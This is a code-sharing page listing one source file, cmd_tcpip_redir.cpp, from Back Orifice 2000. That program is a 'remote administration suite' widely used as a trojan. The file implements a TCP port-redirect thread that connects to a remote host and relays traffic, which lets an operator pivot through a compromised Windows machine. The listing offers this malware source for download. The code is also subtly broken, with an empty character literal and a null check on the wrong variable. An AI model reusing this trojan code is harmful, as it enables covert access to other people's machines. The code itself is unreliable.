cmd_tcpip_redir.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:3k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<iohandler.h>
  18. #include<cmdcmd_tcpip.h>
  19. //typedef struct __port_child_param {
  20. // SOCKET s;
  21. // SOCKADDR_IN saddr;
  22. // BOOL *pbDone;
  23. // int nArg1;
  24. // char *svArg2;
  25. // char *svArg3;
  26. //} PORT_CHILD_PARAM;
  27. DWORD WINAPI PortRedirThread(LPVOID lpParameter)
  28. {
  29. PORT_CHILD_PARAM *ppcp=(PORT_CHILD_PARAM *) lpParameter;
  30. // Get remote address
  31. int i,nPort;
  32. char svAddress[256];
  33. lstrcpyn(svAddress,ppcp->svArg2,256);
  34. for(i=0;i<256;i++) {
  35. if(svAddress[i]==':') {
  36. svAddress[i]='';
  37. nPort=atoi(&svAddress[i+1]);
  38. break;
  39. }
  40. }
  41. // Put into SOCKADDR_IN structure
  42. SOCKADDR_IN saddr;
  43. struct hostent *he;
  44. DWORD dwIPAddr;
  45. dwIPAddr=inet_addr(svAddress);
  46. if(dwIPAddr==INADDR_NONE) {
  47. he=gethostbyname(svAddress);
  48. if(gethostbyname==NULL) {
  49. free(ppcp);
  50. return 1;
  51. }
  52. dwIPAddr=*(DWORD *)he->h_addr_list[0];
  53. }
  54. memset(&saddr,0,sizeof(SOCKADDR_IN));
  55. saddr.sin_family=AF_INET;
  56. saddr.sin_port=htons(nPort);
  57. saddr.sin_addr.s_addr=dwIPAddr;
  58. // Create socket
  59. SOCKET s;
  60. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  61. if(s==INVALID_SOCKET) {
  62. free(ppcp);
  63. return 1;
  64. }
  65. // Connect to remote port
  66. if(connect(s,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
  67. closesocket(s);
  68. free(ppcp);
  69. return 1;
  70. }
  71. // Nonblocking mode
  72. DWORD dwBlock=1;
  73. ioctlsocket(s, FIONBIO, &dwBlock);
  74. // Now we sit around and forward packets.
  75. DWORD dwLen;
  76. fd_set rfds;
  77. while(!*(ppcp->pbDone)) {
  78. // Give up time
  79. Sleep(20);
  80. FD_ZERO(&rfds);
  81. FD_SET(s,&rfds);
  82. FD_SET(ppcp->s,&rfds);
  83. TIMEVAL tm;
  84. tm.tv_sec=0;
  85. tm.tv_usec=0;
  86. if(select(0,&rfds,NULL,NULL,&tm)>0) {
  87. if(FD_ISSET(s,&rfds)) {
  88. ioctlsocket(s,FIONREAD,&dwLen);
  89. if(dwLen<=0) break;
  90. char *buffer=(char *)malloc(dwLen);
  91. if(buffer!=NULL) {
  92. dwLen=recv(s,buffer,dwLen,0);
  93. if(dwLen>0) send(ppcp->s,buffer,dwLen,0);
  94. free(buffer);
  95. }
  96. }
  97. if(FD_ISSET(ppcp->s,&rfds)) {
  98. ioctlsocket(ppcp->s,FIONREAD,&dwLen);
  99. if(dwLen<=0) break;
  100. char *buffer=(char *)malloc(dwLen);
  101. if(buffer!=NULL) {
  102. dwLen=recv(ppcp->s,buffer,dwLen,0);
  103. if(dwLen>0) send(s,buffer,dwLen,0);
  104. free(buffer);
  105. }
  106. }
  107. }
  108. }
  109. closesocket(s);
  110. closesocket(ppcp->s);
  111. free(ppcp);
  112. return 0;
  113. }